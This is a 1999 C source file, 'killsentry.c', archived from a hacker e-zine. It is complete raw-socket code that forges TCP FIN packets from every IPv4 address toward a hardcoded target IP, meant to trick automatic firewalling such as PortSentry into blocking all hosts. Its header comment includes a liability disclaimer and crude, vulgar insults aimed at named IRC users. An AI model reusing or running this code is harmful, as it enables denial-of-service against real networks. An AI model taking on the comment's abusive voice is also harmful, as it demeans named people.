home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-09 / killsentry.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  4.0 KB  |  137 lines

  1. /* killsentry.c (c) 1999 Vortexia / Andrew Alston 
  2.         andrew@idle.za.org
  3.  
  4. Excuse the crappy coding, this code was written when I was very bored,
  5. had nothing better to do, and felt like proving the point that automatic
  6. firewalling is a bad idea.  The code spoofs FIN packets from sequential
  7. internet hosts, starting at 1.0.0.0 and going right through to
  8. 255.255.255.255, sending 15 packets from each, one packet each to port
  9. 100 to 115.  Feel free to modify this code, if you use the code for
  10. anything, please give me credit where it is due.
  11.  
  12. I hold no responsibility for anything this code is used for, I give no
  13. guarantees that this code works, and I hold no responsibility for
  14. anything this code does to any system you run it on. If you screw up with
  15. it, its your problem, not mine.
  16.  
  17. The code compiles 100% fine with no warnings on FreeBSD 3.2, I dont know
  18. about any other platforms or systems.
  19.  
  20.  
  21. Greets and shoutouts:
  22.  
  23. Wyze1 - Thanks for the moral support, here is something you may use in
  24.     Forbidden Knowledge
  25. Sniper - My partner in crime, you rock
  26. Timewiz - What can I say, thanks for ideas for projects still coming
  27. Moe1 - For all the information Ive had from you - Its appreciated
  28. Uglykidjoe - For things said and done - I owe you
  29. Hotmetal - A general greet 
  30. Ultima - For what you have taught me - You rock
  31. Bretton Vine - Dont worry the underground you hate so much still loves you
  32.  
  33. Everyone else in #hack on irc.electrocity.com - You guys rock
  34.  
  35. Curses, fuckoffs, and the like -
  36.  
  37. Logik - Get a clue, skript kiddie life aint the way
  38. Gaspode - I dont think I even need this - a major FUCK YOU 
  39.     and I hope you get castrated with a rusty spoon -
  40.     take your god like attitude and shove it up your ass
  41. Sunflower - May you fall pregnant to one of the many ircops you screw
  42. Anyone else that I dislike but cant think of right now - FUCK YOU
  43. Anyone who dislikes me - FUCK YOU
  44.  
  45. */
  46.  
  47.  
  48. #include <stdio.h>
  49. #include <string.h>
  50. #include <stdlib.h>
  51. #include <sys/types.h>
  52. #include <sys/socket.h>
  53. #include <sys/wait.h>
  54. #include <netinet/in.h>
  55. #include <arpa/inet.h>
  56. #include <netinet/in_systm.h>
  57. #include <netinet/ip.h>
  58. #include <netinet/tcp.h>
  59. #include <unistd.h>
  60. #include <time.h>
  61. #include <netdb.h>
  62.  
  63. int main() {
  64.  
  65.     #define TARGETHOST "209.212.100.202"
  66.  
  67.     int octet1, octet2, octet3, octet4;
  68.     int i;    
  69.     int sock;
  70.     int on = 1;
  71.     struct sockaddr_in sockstruct;
  72.     struct ip *iphead;
  73.     struct tcphdr *tcphead;
  74.     char ipkill[20];
  75.     char evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)]; 
  76.     struct in_addr spoof, target;
  77.     int seq, ack;
  78.  
  79.     bzero(&evilpacket, sizeof(evilpacket));
  80.     // Very bad way to generate sequence numbers
  81.  
  82.     srand(getpid());
  83.     seq = rand()%time(NULL);
  84.     ack = rand()%time(NULL);
  85.  
  86.     target.s_addr=inet_addr(TARGETHOST);
  87.     if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  88.         perror("socket");
  89.         exit(-1);
  90.         }
  91.     if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
  92.         perror("setsockopt");
  93.         exit(-1);
  94.         }
  95.     
  96.     sockstruct.sin_family = AF_INET;
  97.     
  98.     iphead = (struct ip *)evilpacket;    
  99.     tcphead = (struct tcphdr *)(evilpacket + sizeof(struct ip));
  100.     
  101.     iphead->ip_hl = 5;
  102.     iphead->ip_v = 4;
  103.     iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  104.     iphead->ip_id = htons(getpid());
  105.     iphead->ip_ttl = 255;
  106.     iphead->ip_p = IPPROTO_TCP;
  107.     iphead->ip_dst = target;
  108.     iphead->ip_sum = 0;        
  109.     iphead->ip_tos = 0;
  110.     iphead->ip_off = 0;
  111.     tcphead->th_sport = htons(80);
  112.     tcphead->th_seq = htonl(seq);
  113.     tcphead->th_ack = htonl(ack);
  114.     tcphead->th_win = htons(512);
  115.     tcphead->th_flags = TH_FIN; 
  116.     tcphead->th_off = 0x50;
  117.     for(octet1 = 1; octet1 <= 255; octet1++)
  118.     for(octet2 = 0; octet2 <= 255; octet2++)
  119.     for(octet3 = 0; octet3 <= 255; octet3++)
  120.     for(octet4 = 0; octet4 <= 255; octet4++) {
  121.         bzero(ipkill, 20);
  122.     sprintf(ipkill, "%d.%d.%d.%d", octet1, octet2, octet3, octet4);
  123.         for(i = 100; i <= 115; i++) {
  124.             tcphead->th_dport = htons(i);
  125.             sockstruct.sin_port = htons(i);
  126.             spoof.s_addr = inet_addr(ipkill);
  127.             iphead->ip_src = spoof;
  128.             sockstruct.sin_addr = spoof;
  129.             sendto(sock,&evilpacket,sizeof(evilpacket),0x0,(struct
  130. sockaddr *)&sockstruct, sizeof(sockstruct));
  131.             }
  132.         }
  133.     return(1);
  134.  
  135. };
  136.  
  137.